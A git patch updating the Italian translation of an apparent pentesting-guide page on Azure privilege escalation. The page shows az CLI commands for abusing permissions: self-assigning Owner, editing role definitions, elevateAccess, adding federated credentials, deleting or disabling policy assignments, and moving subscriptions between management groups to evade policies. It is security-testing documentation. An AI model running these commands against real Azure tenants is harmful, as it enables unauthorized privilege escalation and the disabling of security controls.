From d9ee2d5edd5a2b714d994d2652fafc14beb77bc3 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 28 Nov 2025 09:48:09 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-authorization-privesc.md | 104 ++++++++++++++++-- 1 file changed, 97 insertions(+), 7 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 03676551f..246aeab83 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -Per ulteriori informazioni controlla: +Per maggiori informazioni consulta: {{#ref}} ../az-services/az-azuread.md @@ -12,14 +12,14 @@ Per ulteriori informazioni controlla: ### Microsoft.Authorization/roleAssignments/write -Questo permesso consente di assegnare ruoli ai principi su un ambito specifico, consentendo a un attaccante di elevare i privilegi assegnando a se stesso un ruolo più privilegiato: +Questa autorizzazione consente di assegnare role a principal su uno scope specifico, permettendo a un attacker di scalare i privilegi assegnandosi un role più privilegiato: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` ### Microsoft.Authorization/roleDefinitions/Write -Questo permesso consente di modificare i permessi concessi da un ruolo, permettendo a un attaccante di elevare i privilegi concedendo più permessi a un ruolo che ha assegnato. +Questa permission permette di modificare le permissions concesse a un role, permettendo a un attacker di escalate privileges concedendo più permissions a un role che ha assegnato. Crea il file `role.json` con il seguente **contenuto**: ```json @@ -42,10 +42,10 @@ az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -Questa autorizzazione consente di elevare i privilegi e di poter assegnare permessi a qualsiasi principale per le risorse Azure. È destinata a essere concessa agli Amministratori Globali di Entra ID in modo che possano gestire anche i permessi sulle risorse Azure. +Questa autorizzazione consente di elevare i privilegi e di assegnare permessi a qualsiasi principal sulle risorse Azure. È pensata per essere assegnata agli Entra ID Global Administrators in modo che possano anche gestire le autorizzazioni sulle risorse Azure. > [!TIP] -> Penso che l'utente debba essere Amministratore Globale in Entra ID affinché la chiamata di elevazione funzioni. +> Penso che l'utente debba essere Global Administrator in Entra ID affinché la chiamata elevate funzioni. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +55,9 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -Questo permesso consente di aggiungere credenziali federate alle identità gestite. Ad esempio, consente di dare accesso a Github Actions in un repository a un'identità gestita. Quindi, consente di **accedere a qualsiasi identità gestita definita dall'utente**. +Questa autorizzazione permette di aggiungere Federated credentials alle managed identities. Ad esempio, concedere l'accesso a Github Actions in un repo a una managed identity. Poi, consente di **accedere a qualsiasi managed identity definita dall'utente**. -Esempio di comando per dare accesso a un repository in Github a un'identità gestita: +Esempio di comando per concedere l'accesso a un repo Github a una managed identity: ```bash # Generic example: az rest --method PUT \ @@ -71,4 +71,94 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete + +Un attaccante con il permesso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` su un management group, subscription, o resource group può **modificare o eliminare le assegnazioni di policy di Azure**, potenzialmente **disabilitando restrizioni di sicurezza** che bloccano operazioni specifiche. + +Questo consente l'accesso a risorse o funzionalità che in precedenza erano protette dalla policy. + +**Eliminare un'assegnazione di policy:** +```bash +az policy assignment delete \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +**Disabilitare un'assegnazione di policy:** +```bash +az policy assignment update \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" \ +--enforcement-mode Disabled +``` +**Verifica le modifiche:** +```bash +# List policy assignments +az policy assignment list \ +--scope "/providers/Microsoft.Management/managementGroups/" + +# Show specific policy assignment details +az policy assignment show \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +### Microsoft.Authorization/policyDefinitions/write + +Un attacker con il permesso `Microsoft.Authorization/policyDefinitions/write` può **modificare le definizioni di policy di Azure**, cambiando le regole che controllano le restrizioni di sicurezza in tutto l'ambiente. + +Ad esempio, una policy che limita le regioni consentite per la creazione di risorse può essere modificata per consentire qualsiasi regione, oppure l'effetto della policy può essere cambiato per renderla inefficace. + +**Modificare una definizione di policy:** +```bash +az policy definition update \ +--name "" \ +--rules @updated-policy-rules.json +``` +**Verifica le modifiche:** +```bash +az policy definition list --output table + +az policy definition show --name "" +``` +### Microsoft.Management/managementGroups/write + +Un aggressore con il permesso `Microsoft.Management/managementGroups/write` può **modificare la struttura gerarchica dei management groups** o **creare nuovi management groups**, potenzialmente eludendo policy restrittive applicate a livelli superiori. + +Ad esempio, un aggressore può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno. + +**Crea un nuovo management group:** +```bash +az account management-group create \ +--name "yourMGname" \ +--display-name "yourMGDisplayName" +``` +**Modificare la gerarchia dei management group:** +```bash +az account management-group update \ +--name "" \ +--parent "/providers/Microsoft.Management/managementGroups/" +``` +**Verificare le modifiche:** +```bash +az account management-group list --output table + +az account management-group show \ +--name "" \ +--expand +``` +### Microsoft.Management/managementGroups/subscriptions/write + +Un attacker con il permesso `Microsoft.Management/managementGroups/subscriptions/write` può **move subscriptions between management groups**, potenzialmente **evading restrictive policies** spostando una subscription in un gruppo con politiche meno restrittive o assenti. + +**Spostare una subscription in un diverso management group:** +```bash +az account management-group subscription add \ +--name "" \ +--subscription "" +``` +**Verifica le modifiche:** +```bash +az account management-group subscription show \ +--name "" \ +--subscription "" +``` {{#include ../../../banners/hacktricks-training.md}}